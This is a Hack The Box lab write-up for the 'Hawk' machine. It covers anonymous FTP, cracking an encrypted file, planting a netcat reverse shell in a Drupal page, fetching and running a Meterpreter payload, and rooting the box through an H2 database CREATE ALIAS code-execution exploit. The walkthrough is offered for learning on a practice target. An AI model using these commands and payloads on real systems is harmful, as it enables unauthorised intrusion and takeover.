Snow Den

Hack The Box - Hawk

Published December 1, 2018

Box Info

Box profile: Hawk
OS: Linux
Maker: mrh4sh
Release date: July 14, 2018
Retire date: December 1, 2018
Own date: November 20, 2018


These writeups should be taken as insight into the processes and techniques involved rather than a walkthrough to completing the boxes in question. You should never execute code without first understanding what it does, and always do outside research in order to figure out why you're taking the steps you are. This is for your safety, and also ensures that you have an understanding of the fundamentals involved with the ability to reproduce things in new and different scenarios. As such, while these guides outline fairly precise steps to take, some of the more basic information may be omitted for brevity.

If you do not understand what is going on, read the manual until you do.


Hawk was an enjoyable box that chained several fairly simple techniques. There were a few strange snags along the way, but they were barely more than inconveniences so they didn't affect the box all too much.

Initial Enumeration

Our initial port scan presents us with an FTP service and two web services.

att$ nmap -sV -T4
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
8082/tcp open  http    H2 database http console

Visiting the web services, the one on port 8082 is for an "H2 Console". This software is a Java-based web app used for managing databases. Unfortunately, it seems to only allow local connections to it, so we're out of luck with that for the time being. The web service on port 80, on the other hand, is an unfinished Drupal website. It has a robots.txt file for us to read, but most of the files and directories that it lists are inaccessible. It does, however, allow us to read CHANGELOG.txt which tells us that the Drupal version is 7.58, but that is a sufficiently patched version so I could find no public exploits for it.

Before we try any scans, let's check out the other service, FTP, since it might be configured to allow anonymous sessions.

att$ ftp
Name: anonymous

File Encryption Cracking

FTP does in fact allow anonymous connections, and even better, we have a file that we can download and play with.

ftp> ls -a messages
drwxr-xr-x    2 ftp      ftp          4096 Jun 16 22:21 .
drwxr-xr-x    3 ftp      ftp          4096 Jun 16 22:14 ..
-rw-r--r--    1 ftp      ftp           240 Jun 16 22:21 .drupal.txt.enc
ftp> get messages/.drupal.txt.enc

att$ file .drupal.txt.enc
.drupal.txt.enc: openssl enc'd data with salted password, base64 encoded

Let's see if we can crack this encryption. A quick search for a tool online brings me to glv2's bruteforce-salted-openssl repository on GitHub. Let's grab it and take a crack at it using rockyou as our word list. After a few failed attempts we determine that the cipher being used is AES-256-CBC, while the digest is SHA256.

att$ mv .drupal.txt.enc drupal.txt.b64
att$ base64 -d drupal.txt.b64 > drupal.txt.enc
att$ ./bruteforce-salted-openssl -c aes-256-cbc -d sha256 -f rockyou.txt -t 8 ../drupal.txt.enc

Pretty much immediately we get a password back, denoted by the phrase "Password candidate". Let's feed it into OpenSSL to confirm it.

att$ openssl aes-256-cbc -d -in ../drupal.txt.enc -out ../drupal.txt

It decrypts it successfully! It appears to be a note from an IT department with a password to use for the Drupal website's portal, which works with the username "admin".

Once we're logged in, we can add and edit content, themes, and modules within the site. If we head to the "Modules" page, we can enable Drupal's "PHP filter" module which will allow us to add executable PHP code into pages. After enabling it, we'll go to "Content" to add a new page that executes a basic reverse shell back to us, making sure to select "PHP code" for the text format.

  if (isset($_GET['ohno']))
    system('rm -f /tmp/sh; mkfifo /tmp/sh; cat /tmp/sh | /bin/bash -i 2>&1 | nc 5555 > /tmp/sh');

We'll then start up Netcat on our end and use cURL to send out a request to the page we just made.

att$ (sleep 1 && curl 2>/dev/null) & nc -lp 5555

Server Enumeration

Now that we're in, let's start exploring.

haw$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
haw$ uname -a
Linux hawk 4.15.0-23-generic #25-Ubuntu SMP Wed May 23 18:02:16 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
haw$ ls /home
haw$ cat /etc/passwd
haw$ ps aux
root    /bin/sh -c /usr/bin/java -jar /opt/h2/bin/h2-1.4.196.jar

It's interesting that the user daniel has python3 as their login shell. If we were to log in as him, however, we shouldn't have much issue executing commands even within there. We also see that a Java executable by the name of H2 is running under root. This is the same name as the website we tried accessing earlier on port 8082. Now that we're inside, as long as the requests are coming from inside of the box we will no longer get an access error. In order to use the H2 site, however, we'll need to open it in our web browser, so simply using cURL to access it won't quite cut it.

We're going to need use the access that we currently have to make it seem like we're connecting from the inside. In order to achieve this easily, we can just upgrade ourselves to a Meterpreter session and use the portfwd command to point it where we want to go. Let's open up a new terminal window and set things up.

att$ msfvenom -p linux/x64/meterpreter_reverse_tcp LPORT=34543 LHOST= -f elf > ohno
att$ python -m SimpleHTTPServer 5656 &
att$ msfdb run
msf> use exploit/multi/handler
msf> set payload linux/x64/meterpreter_reverse_tcp
msf> set lhost tun0
msf> set lport 34543
msf> show options
msf> run

Then, back in the other window, we'll download and execute the payload on our target. Once we're in, we can go ahead and use the portfwd command to redirect our localhost's port 8082 to the remote localhost's port 8082.

haw$ cd /var/tmp && wget && chmod +x ohno && ./ohno &
met> portfwd add -l 8082 -p 8082 -r localhost

We can now go to the page in our browser using localhost on port 8082 instead of the remote IP address.

H2 Console

Arbitrary Code Execution

If we do an exploit search for this software, we actually get some results back for it. In particular, there seems to be arbitrary code execution available to us, and since the app is running as root, we should get full system access from doing so.

att$ searchsploit h2 database
H2 Database - 'Alias' Arbitrary Code
H2 Database 1.4.197 - Information Disclosure

Since we don't currently know the username or password to the database located at ~/test, we can't connect to it. However, what happens if we try to use a database file that doesn't exist yet? If we type in a new database name and click the "Test Connection" button, we can see that this does in fact work.

Testing H2 with New Database

Now we can connect to a new database and use that for the exploit after setting up another Meterpreter handler.

met> background
msf> run

The exploit uses Java inside of an alias in SQL in order to execute code, which we'll be using to run shell commands to download and execute a payload. Through some trial and error, it's been determined that this server doesn't seem to have access to the same file system as what our current shell has. As such, it's necessary to download our payload to it a second time before trying to execute it again. We'll put this exploit into the text field in the H2 console and when we click "Run", we should have a new, elevated Meterpreter session waiting for us in our terminal.

CREATE ALIAS OHNO AS $$ void ohno() throws, InterruptedException {
  Runtime r = Runtime.getRuntime();
  r.exec("wget -O /var/tmp/ohno").waitFor();
  r.exec("chmod +x /var/tmp/ohno").waitFor();
met> shell
haw$ id
uid=0(root) gid=0(root) groups=0(root)


We found an FTP server with anonymous logins enabled. This FTP server contained an encrypted file, which we were able to decrypt by running it through a wordlist. The file contained a password that we could use to log into a Drupal website, and by adding PHP code to it we were able to get a shell. We then used this shell to pivot to a restricted H2 Database web app, and exploited a vulnerability in it that gave us root access.

The privesc for this box felt like I was cheating a little due to it being a public exploit, but understanding what it did and modifying it to my own version made it much more interesting. What was kind of peculiar at the end was the fact that even though it appeared to be the same system, the H2 web app seemed to actually be running on a mirrored version of the server with its own file system. I assume that this is because of the other exploit that came up in the search, which allows an attacker to gain a copy of a file by using a symlink, and they didn't want people cutting through a corner like that. Funnily enough, that exploit was actually discovered by another user on HTB by the name of owodelta, so big props to them!


H2 Database - 'Alias' Arbitrary Code Execution